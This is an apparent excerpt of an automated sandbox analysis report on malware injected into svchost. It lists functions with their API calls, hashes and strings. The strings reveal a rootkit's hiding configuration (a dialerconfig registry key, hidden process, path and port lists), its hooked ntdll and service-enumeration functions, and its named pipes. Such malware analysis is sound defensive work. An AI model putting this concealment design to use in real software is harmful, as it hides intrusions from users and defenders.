Instruction ID: b559a2181ff40e2a117a780b745b7d932bb3298ad3057c49ecb9ab2035d3dd06
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: 9C11C030A12F0C82FB72ABE9F9387D923D7A784B85F504124DA06E1EA5EFB9C044C350

Function 00000195DD5C1ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000195DD5C1628: GetProcessHeap.KERNEL32 ref: 00000195DD5C1633
Part of subcall function 00000195DD5C1628: HeapAlloc.KERNEL32 ref: 00000195DD5C1642
Part of subcall function 00000195DD5C1628: RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C16B2
Part of subcall function 00000195DD5C1628: RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C16DF
Part of subcall function 00000195DD5C1628: RegCloseKey.ADVAPI32 ref: 00000195DD5C16F9
Part of subcall function 00000195DD5C1628: RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C1719
Part of subcall function 00000195DD5C1628: RegCloseKey.ADVAPI32 ref: 00000195DD5C1734
Part of subcall function 00000195DD5C1628: RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C1754
Part of subcall function 00000195DD5C1628: RegCloseKey.ADVAPI32 ref: 00000195DD5C176F
Part of subcall function 00000195DD5C1628: RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C178F
Part of subcall function 00000195DD5C1628: RegCloseKey.ADVAPI32 ref: 00000195DD5C17AA
Part of subcall function 00000195DD5C1628: RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C17CA

Sleep.KERNEL32 ref: 00000195DD5C1AD7
SleepEx.KERNELBASE ref: 00000195DD5C1ADD

Part of subcall function 00000195DD5C1628: RegCloseKey.ADVAPI32 ref: 00000195DD5C17E5
Part of subcall function 00000195DD5C1628: RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C1805
Part of subcall function 00000195DD5C1628: RegCloseKey.ADVAPI32 ref: 00000195DD5C1820
Part of subcall function 00000195DD5C1628: RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C1840
Part of subcall function 00000195DD5C1628: RegCloseKey.ADVAPI32 ref: 00000195DD5C185B
Part of subcall function 00000195DD5C1628: RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C187B
Part of subcall function 00000195DD5C1628: RegCloseKey.ADVAPI32 ref: 00000195DD5C1896
Part of subcall function 00000195DD5C1628: RegCloseKey.ADVAPI32 ref: 00000195DD5C18A0

Memory Dump Source

Source File: 00000028.00000002.3281930657.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: f3b7e964aa4799e71de0d0524ef43308711ea80b0fc304bbb8b55dd9ae371198
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: C7315171202E0951FF52ABAADA70BE963E7AB54BD4F0454218E0EE7FD5FE20C861C750

Function 00000195DD5C3844 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 00000195DD5C385C

Strings

dialer, xrefs: 00000195DD5C3855

Memory Dump Source

Source File: 00000028.00000002.3281930657.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID:
String ID: dialer
API String ID: 0-3528709123
Opcode ID: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction ID: 8525adf6a2d64dd7061414e58bca951bdbbd2a01b88122cd2fc985ec43bc3963
Opcode Fuzzy Hash: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction Fuzzy Hash: 89D0A770353B0DC7FF26DFEA88E46E423E2EB08744F884030C90052A50DB18898D9B20

Function 00000195DD59273C Relevance: 1.7, APIs: 1, Instructions: 187
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00000195DD59285E

Memory Dump Source

Source File: 00000028.00000002.3281796722.00000195DD590000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd590000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: 3c42989a6f1da65d8c668265381177c755b331e9ddf0642a5a91f75fe2288bf4
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: DF612632B01A90C7DB56CF65D020BBD73D7F754BA4F988125DE5927B88DA38D892CB00

Non-executed Functions

Function 00000195DD5C2B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00000195DD5C2BD0
lstrlenW.KERNEL32 ref: 00000195DD5C2E0A

Part of subcall function 00000195DD5C199C: OpenProcess.KERNEL32 ref: 00000195DD5C19C2
Part of subcall function 00000195DD5C199C: K32GetModuleFileNameExW.KERNEL32 ref: 00000195DD5C19E0
Part of subcall function 00000195DD5C199C: PathFindFileNameW.SHLWAPI ref: 00000195DD5C19EF
Part of subcall function 00000195DD5C199C: lstrlenW.KERNEL32 ref: 00000195DD5C19FB
Part of subcall function 00000195DD5C199C: StrCpyW.SHLWAPI ref: 00000195DD5C1A0E
Part of subcall function 00000195DD5C199C: CloseHandle.KERNEL32 ref: 00000195DD5C1A1C

GetProcAddress.KERNEL32 ref: 00000195DD5C2BE5

Part of subcall function 00000195DD5C152C: StrCmpIW.SHLWAPI ref: 00000195DD5C155D

Part of subcall function 00000195DD5C3844: StrCmpNIW.SHLWAPI ref: 00000195DD5C385C

StrCmpNIW.SHLWAPI ref: 00000195DD5C2C28
lstrlenW.KERNEL32 ref: 00000195DD5C2D50

Strings

NtQueryObject, xrefs: 00000195DD5C2BDB
ntdll.dll, xrefs: 00000195DD5C2BC9
\Device\Nsi, xrefs: 00000195DD5C2C1B

Memory Dump Source

Source File: 00000028.00000002.3281930657.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: b269dd2d9b81f1812a6309050772eb1d9569a02fca7367e1bad0c42bb49a5ac5
Instruction ID: dde7fd9efa89a5466707bb46948bcd2f38f9c7ac15f82b741b3087f18559b81d
Opcode Fuzzy Hash: b269dd2d9b81f1812a6309050772eb1d9569a02fca7367e1bad0c42bb49a5ac5
Instruction Fuzzy Hash: 40B1AF76212E5882EB669FA9D460BE973E6FB54B84F485016EE09B3F94EF34CC41C740

Function 00000195DD5C7D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00000195DD5C7DAC
RtlCaptureContext.NTDLL ref: 00000195DD5C7DD9
RtlLookupFunctionEntry.NTDLL ref: 00000195DD5C7DF3
RtlVirtualUnwind.NTDLL ref: 00000195DD5C7E34
IsDebuggerPresent.KERNEL32 ref: 00000195DD5C7E88
SetUnhandledExceptionFilter.KERNEL32 ref: 00000195DD5C7EA9
UnhandledExceptionFilter.KERNEL32 ref: 00000195DD5C7EB4

Memory Dump Source

Source File: 00000028.00000002.3281930657.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: fc690ca620e4485241193952ba8c83509054a4c62fcfc94005514e0c22233189
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: B0314F72205F848AEB619FA4E8607ED73E5F784744F44442ADA4EA7F98EF38C549C710

Function 00000195DD5CD2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00000195DD5CD31D
RtlLookupFunctionEntry.NTDLL ref: 00000195DD5CD335
RtlVirtualUnwind.NTDLL ref: 00000195DD5CD370
IsDebuggerPresent.KERNEL32 ref: 00000195DD5CD3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 00000195DD5CD3B3
UnhandledExceptionFilter.KERNEL32 ref: 00000195DD5CD3BE

Memory Dump Source

Source File: 00000028.00000002.3281930657.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: 88954bb95814ee6b498564cf1bdcac9ec7b9223e226e11f4f982859e9a819e51
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: 77313A32215F8486EB618B69E8503DE73E5F789794F500126EA9D93F98EF38C546CB00

Function 00000195DD5C1628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000195DD5C1633
HeapAlloc.KERNEL32 ref: 00000195DD5C1642

Part of subcall function 00000195DD5C1268: GetProcessHeap.KERNEL32 ref: 00000195DD5C126E
Part of subcall function 00000195DD5C1268: HeapAlloc.KERNEL32 ref: 00000195DD5C127D
Part of subcall function 00000195DD5C1268: GetProcessHeap.KERNEL32 ref: 00000195DD5C1297
Part of subcall function 00000195DD5C1268: HeapAlloc.KERNEL32 ref: 00000195DD5C12A8

RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C16B2
RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C16DF
RegCloseKey.ADVAPI32 ref: 00000195DD5C16F9
RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C1719
RegCloseKey.ADVAPI32 ref: 00000195DD5C1734
RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C1754
RegCloseKey.ADVAPI32 ref: 00000195DD5C176F
RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C178F
RegCloseKey.ADVAPI32 ref: 00000195DD5C17AA
RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C17CA
RegCloseKey.ADVAPI32 ref: 00000195DD5C17E5
RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C1805
RegCloseKey.ADVAPI32 ref: 00000195DD5C1820
RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C1840
RegCloseKey.ADVAPI32 ref: 00000195DD5C185B
RegOpenKeyExW.ADVAPI32 ref: 00000195DD5C187B
RegCloseKey.ADVAPI32 ref: 00000195DD5C1896
RegCloseKey.ADVAPI32 ref: 00000195DD5C18A0

Part of subcall function 00000195DD5C12BC: RegQueryInfoKeyW.ADVAPI32 ref: 00000195DD5C1319
Part of subcall function 00000195DD5C12BC: GetProcessHeap.KERNEL32 ref: 00000195DD5C1327
Part of subcall function 00000195DD5C12BC: HeapAlloc.KERNEL32 ref: 00000195DD5C1338
Part of subcall function 00000195DD5C12BC: RegEnumValueW.ADVAPI32 ref: 00000195DD5C1397
Part of subcall function 00000195DD5C12BC: GetProcessHeap.KERNEL32 ref: 00000195DD5C13DF
Part of subcall function 00000195DD5C12BC: HeapAlloc.KERNEL32 ref: 00000195DD5C13ED
Part of subcall function 00000195DD5C12BC: GetProcessHeap.KERNEL32 ref: 00000195DD5C140A
Part of subcall function 00000195DD5C12BC: HeapFree.KERNEL32 ref: 00000195DD5C1418
Part of subcall function 00000195DD5C12BC: lstrlenW.KERNEL32 ref: 00000195DD5C1421
Part of subcall function 00000195DD5C12BC: GetProcessHeap.KERNEL32 ref: 00000195DD5C142F
Part of subcall function 00000195DD5C12BC: HeapAlloc.KERNEL32 ref: 00000195DD5C143D

Strings

tcp_remote, xrefs: 00000195DD5C1839
service_names, xrefs: 00000195DD5C17C3
pid, xrefs: 00000195DD5C1712
SOFTWARE\dialerconfig, xrefs: 00000195DD5C1692
tcp_local, xrefs: 00000195DD5C17FE
udp, xrefs: 00000195DD5C1874
paths, xrefs: 00000195DD5C1788
startup, xrefs: 00000195DD5C16D5
process_names, xrefs: 00000195DD5C174D

Memory Dump Source

Source File: 00000028.00000002.3281930657.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 3fed60f760ab3f32da691e52dbf4ab303354c7f47779857e17f14048716fb99a
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: A1711C36311F1886EB119FA6E860AD923F6FB85B89F005111DE4EA7F69EF34C485C750

Function 00000195DD5C12BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000195DD5C1319
GetProcessHeap.KERNEL32 ref: 00000195DD5C1327
HeapAlloc.KERNEL32 ref: 00000195DD5C1338
RegEnumValueW.ADVAPI32 ref: 00000195DD5C1397

Part of subcall function 00000195DD5C152C: StrCmpIW.SHLWAPI ref: 00000195DD5C155D

GetProcessHeap.KERNEL32 ref: 00000195DD5C13DF
HeapAlloc.KERNEL32 ref: 00000195DD5C13ED
GetProcessHeap.KERNEL32 ref: 00000195DD5C140A
HeapFree.KERNEL32 ref: 00000195DD5C1418
lstrlenW.KERNEL32 ref: 00000195DD5C1421
GetProcessHeap.KERNEL32 ref: 00000195DD5C142F
HeapAlloc.KERNEL32 ref: 00000195DD5C143D
StrCpyW.SHLWAPI ref: 00000195DD5C145F
GetProcessHeap.KERNEL32 ref: 00000195DD5C1476
HeapFree.KERNEL32 ref: 00000195DD5C1484

Strings

d, xrefs: 00000195DD5C135A

Memory Dump Source

Source File: 00000028.00000002.3281930657.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: 495f4bd1ccfcfb5c7fe309b38a271ae55a6fce5f460d804d76d8676db85ca4e3
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: 30515B36201F8886EB51CFA6E46879A77E2F789F89F044124DA4957B18DF3CC04ACB10

Function 00000195DD5C1D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 00000195DD5C1D1F

Part of subcall function 00000195DD5C1FD4: GetModuleHandleA.KERNEL32 ref: 00000195DD5C1FEC
Part of subcall function 00000195DD5C1FD4: GetProcAddress.KERNEL32 ref: 00000195DD5C1FFD

Part of subcall function 00000195DD5C5B30: GetCurrentThreadId.KERNEL32 ref: 00000195DD5C5B6B

Strings

sechost.dll, xrefs: 00000195DD5C1E39
EnumServiceGroupW, xrefs: 00000195DD5C1DF0
NtResumeThread, xrefs: 00000195DD5C1D62
NtDeviceIoControlFile, xrefs: 00000195DD5C1E56
NtQuerySystemInformation, xrefs: 00000195DD5C1D45
advapi32.dll, xrefs: 00000195DD5C1DF7, 00000195DD5C1E18
NtQueryDirectoryFileEx, xrefs: 00000195DD5C1D9C
NtEnumerateValueKey, xrefs: 00000195DD5C1DD6
ntdll.dll, xrefs: 00000195DD5C1D2D
NtEnumerateKey, xrefs: 00000195DD5C1DB9
EnumServicesStatusExW, xrefs: 00000195DD5C1E11, 00000195DD5C1E32
NtQueryDirectoryFile, xrefs: 00000195DD5C1D7F

Memory Dump Source

Source File: 00000028.00000002.3281930657.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: 0a117424bb8ec17e06fa24497d1726645dd05d6d29179111a98c9b800477247c
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: D1318274142E4EE0FB17EFE9E871AE463E3B714398FC450139449B2E759E78824AD760

Function 00000195DD596910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000195DD596938
__scrt_acquire_startup_lock.LIBCMT ref: 00000195DD59698A
_RTC_Initialize.LIBCMT ref: 00000195DD5969B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000195DD5969DE
__scrt_release_startup_lock.LIBCMT ref: 00000195DD596A09

Strings

`eh vector copy constructor iterator', xrefs: 00000195DD596A3B
scriptor', xrefs: 00000195DD596B39, 00000195DD596BB2, 00000195DD596BEC
`eh vector vbase copy constructor iterator', xrefs: 00000195DD5969EE
`dynamic initializer for ', xrefs: 00000195DD5969C7

Memory Dump Source

Source File: 00000028.00000002.3281796722.00000195DD590000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd590000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: ceb190c1bc5cb76a39468d0dcf2336ec5ebfdbce9e152840d3fa6cc9d2bd33da
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 6381CE72704E41C6FB52ABE594713D926E3EB96B80F548025EA0577F96EF38C84A8F00

Function 00000195DD5CCE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 00000195DD5CCE37
FlsGetValue.KERNEL32(?,?,?,00000195DD5D0A6B,?,?,?,00000195DD5D045C,?,?,?,00000195DD5CC84F), ref: 00000195DD5CCE4C
FlsSetValue.KERNEL32(?,?,?,00000195DD5D0A6B,?,?,?,00000195DD5D045C,?,?,?,00000195DD5CC84F), ref: 00000195DD5CCE6D
FlsSetValue.KERNEL32(?,?,?,00000195DD5D0A6B,?,?,?,00000195DD5D045C,?,?,?,00000195DD5CC84F), ref: 00000195DD5CCE9A
FlsSetValue.KERNEL32(?,?,?,00000195DD5D0A6B,?,?,?,00000195DD5D045C,?,?,?,00000195DD5CC84F), ref: 00000195DD5CCEAB
FlsSetValue.KERNEL32(?,?,?,00000195DD5D0A6B,?,?,?,00000195DD5D045C,?,?,?,00000195DD5CC84F), ref: 00000195DD5CCEBC
SetLastError.KERNEL32 ref: 00000195DD5CCED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000195DD5D0A6B,?,?,?,00000195DD5D045C,?,?,?,00000195DD5CC84F), ref: 00000195DD5CCF0D
FlsSetValue.KERNEL32(?,?,00000001,00000195DD5CECCC,?,?,?,?,00000195DD5CBF9F,?,?,?,?,?,00000195DD5C7AB0), ref: 00000195DD5CCF2C

Part of subcall function 00000195DD5CD6CC: HeapAlloc.KERNEL32 ref: 00000195DD5CD721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000195DD5D0A6B,?,?,?,00000195DD5D045C,?,?,?,00000195DD5CC84F), ref: 00000195DD5CCF54

Part of subcall function 00000195DD5CD744: HeapFree.KERNEL32 ref: 00000195DD5CD75A
Part of subcall function 00000195DD5CD744: GetLastError.KERNEL32 ref: 00000195DD5CD764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000195DD5D0A6B,?,?,?,00000195DD5D045C,?,?,?,00000195DD5CC84F), ref: 00000195DD5CCF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000195DD5D0A6B,?,?,?,00000195DD5D045C,?,?,?,00000195DD5CC84F), ref: 00000195DD5CCF76

Memory Dump Source

Source File: 00000028.00000002.3281930657.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: 5deeaa700c7bca527ac3e0ef52b0542e40d86773dc9f6c8a69b3fdc468513023
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: B5412034303E4C82FB6BA7EE59753F913C35B857B4F140724A936E6ED6DE2894818700

Function 00000195DD5C2244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 00000195DD5C2259
GetCurrentProcessId.KERNEL32 ref: 00000195DD5C2263

Part of subcall function 00000195DD5C1934: OpenProcess.KERNEL32 ref: 00000195DD5C1952
Part of subcall function 00000195DD5C1934: IsWow64Process.KERNEL32 ref: 00000195DD5C1968
Part of subcall function 00000195DD5C1934: CloseHandle.KERNEL32 ref: 00000195DD5C1983

CreateFileW.KERNEL32 ref: 00000195DD5C22BC
WriteFile.KERNEL32 ref: 00000195DD5C22E4
ReadFile.KERNEL32 ref: 00000195DD5C2303
CloseHandle.KERNEL32 ref: 00000195DD5C230C

Strings

\\.\pipe\dialerchildproc64, xrefs: 00000195DD5C228C
\\.\pipe\dialerchildproc32, xrefs: 00000195DD5C2293

Memory Dump Source

Source File: 00000028.00000002.3281930657.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: ef64e02e287f94d0d9415c348699ab4dc805c8a96bd9a803ab77d90ce42376f4
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: 09217932614B4483FB118BA5F4647AA73E2F789BA5F544215EA5953FA8CF3CC14ACB00

Function 00000195DD599944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000195DD5999A1

Part of subcall function 00000195DD59A814: __GetUnwindTryBlock.LIBCMT ref: 00000195DD59A857
Part of subcall function 00000195DD59A814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000195DD59A87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000195DD599A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000195DD599CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000195DD599DDA

Strings

csm, xrefs: 00000195DD599A22
csm, xrefs: 00000195DD5999BB
csm, xrefs: 00000195DD599A9C

Memory Dump Source

Source File: 00000028.00000002.3281796722.00000195DD590000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd590000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: 8578d22811c705561b9a0c63265d0fa22d72dfafe6aec0b6b4f758a2598a20e0
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: 3EE18C72604B40CAEB62DBA5D4A03DD7BE2F756B98F142116EE8967F99CB34C191CF00

Function 00000195DD5CA544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000195DD5CA5A1

Part of subcall function 00000195DD5CB414: __GetUnwindTryBlock.LIBCMT ref: 00000195DD5CB457
Part of subcall function 00000195DD5CB414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000195DD5CB47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000195DD5CA679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000195DD5CA8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000195DD5CA9DA

Strings

csm, xrefs: 00000195DD5CA5BB
csm, xrefs: 00000195DD5CA69C
csm, xrefs: 00000195DD5CA622

Memory Dump Source

Source File: 00000028.00000002.3281930657.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: ff241bfc108c8e41cf32293f5c139143a9d96e7d242899cc36c30a4197855322
Instruction ID: 9c2520efcc87ac771d522e1eb6396a81ecb0ce0daac719ccbdf896b70f129e44
Opcode Fuzzy Hash: ff241bfc108c8e41cf32293f5c139143a9d96e7d242899cc36c30a4197855322
Instruction Fuzzy Hash: 07E18D72606B488AEB32DFA9D4913DD7BE2F745B98F100115EE89A7F99CB35C481CB00

Function 00000195DD5CF394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32 ref: 00000195DD5CF510
GetProcAddress.KERNEL32 ref: 00000195DD5CF51C

Strings

api-ms-, xrefs: 00000195DD5CF45A
ext-ms-, xrefs: 00000195DD5CF46D

Memory Dump Source

Source File: 00000028.00000002.3281930657.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
